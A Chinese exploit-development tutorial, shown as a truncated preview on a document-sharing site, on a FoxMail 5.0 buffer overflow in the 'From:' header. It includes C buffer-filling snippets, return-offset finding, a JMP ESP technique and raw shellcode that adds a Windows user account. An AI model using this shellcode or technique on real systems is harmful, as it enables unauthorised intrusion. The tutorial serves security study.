FoxMail的缓冲区溢出漏洞攻击示例.docVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
FoxMail的漏洞 从上图可以看出,有问题的的版本是FoxMail5.0。漏洞公告还会给出大概的问题分析。上图就说到了,有问题的东东是punylib.dll。安装了FoxMail后,我们可以在安装目录的3rdParty子目录下发现它。如下图。 从漏洞公告和分析中,我们可以知道,是FoxMail在处理From:字段时允许的长度(0x200)超过了缓冲区分配的长度,从而导致了缓冲区溢出。 但如何写该缓冲区溢出漏洞的利用程序呢? 1.有问题程序返回点的精确位置――我们可以把它覆盖成任意地址。 2.ShellCode――一个提供给我们想要的功能的代码。 3.JMP ESP的地址――把返回点覆盖JMP ESP的地址,这样可跳入ShellCode。 定位溢出点 从漏洞公告和漏洞分析中我们可以知道,邮件的‘From:’字段太长就会覆盖到返回地址,那我们就写一个初步的溢出程序框架FoxMail1.c,来逐步定位返回点的位置。这个程序很简单,就是往邮箱发一封信,而且只有‘From:’字段。 在程序的FoxMail1.c中,我们对‘From:’字段进行填充。我们先填充0x150个A试试。 ★ memset (buffer, 0x41, 0x150); sprintf (temp, From: %s\r\n, buffer); send (sock, temp, strlen (temp), 0); ★ 然后执行程序,发送成功!如下图所示。 然后我们用FoxMail接收邮件,如下图。 我们覆盖了0x150个A,可能不仅覆盖过了EIP的地方,而且还覆盖了其他一些程序要用的参量,如果在程序返回前,要对那些参量改写,但参量的地址被改成,是根本不能写的,所以就造成了写(write)类型错误! 我们把‘From:’字段覆盖短一点,要覆盖到返回地址,但不要覆盖到那些参量地址。这里我们采用二分法:即先前0x150太长,就改成0x75,如果0x75太短,不能覆盖返回地址没有报错,那又改长一点,改成0x115的长度,以此类推。 当我们覆盖到0x104时,我们想要的结果出现了!如下图。 ★ memset (buffer, 0x41, 0x104); sprintf (temp, From: %s\r\n, buffer); send (sock, temp, strlen (temp), 0); ★ 现在出现了Read错误!说明我们填充‘From:’字段时不能超过0x104的长度。解决了这个问题,我们继续想办法定位返回点的位置。—— 根据报错信息直接数出来。 方法:。。。。 结果:程序的返回点位置是‘From:’字段第256开始的四个字节。 验证: memset(buffer, A, 0x104); buffer[256] = B; buffer[257] = B; buffer[258] = B; buffer[259] = B; 设计ShellCode 以下是中文Win2000 SP2下添加名为‘w’用户的ShellCode。 char ShellCode[] = \x8B\xE5\x55\x8B\xEC\x33\xFF\x57\x57\x57\x57\xC7\x45\xF1\x6E\x65 \x74\x20\xC7\x45\xF5\x75\x73\x65\x72\xC7\x45\xF9\x20\x77\x20\x2E \x80\x45\xFC\x01\xC6\x45\xFD\x61\xC6\x45\xFE\x64\x33\xC0\x88\x45 \xFF\x8D\x45\xF1\x50\xB8\x4A\x9B\x01\x78\xFF\xD0 ; 通用的JMP ESP地址 中文版Win2000、XP、Win2003 三国归一 现在,万事倶备(溢出攻击的三个条件都已具备),只欠整合了。 根据所学知识,我们知道‘From:’字段作如下构造就可跳入我们的ShellCode。 但是,这样和最开始我们覆盖0x150个‘A’测试时是类似的,ShellCode会把程序要写的参量覆盖了,那程序在返回之前,会产生那个write型错误! 解决方法之一:把ShellCode放在前面!根本不覆盖参量。就是说,我们把ShellCode放在RET前的缓冲区中,而在RET后面放入很短的一个指令,指令的内容就是往前跳,跳到前面的ShellCode中。 “在这样的格式下,返回时程序就会先执行 JMP –0x80 这个指令,往前跳到一堆空指令中,然后顺着空指令往下执行,最后进入到ShellCode中,就可执行我们的ShellCode了。” 最后,我们按照这个格式,给

文档评论(0)

wuhuaiyu002 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档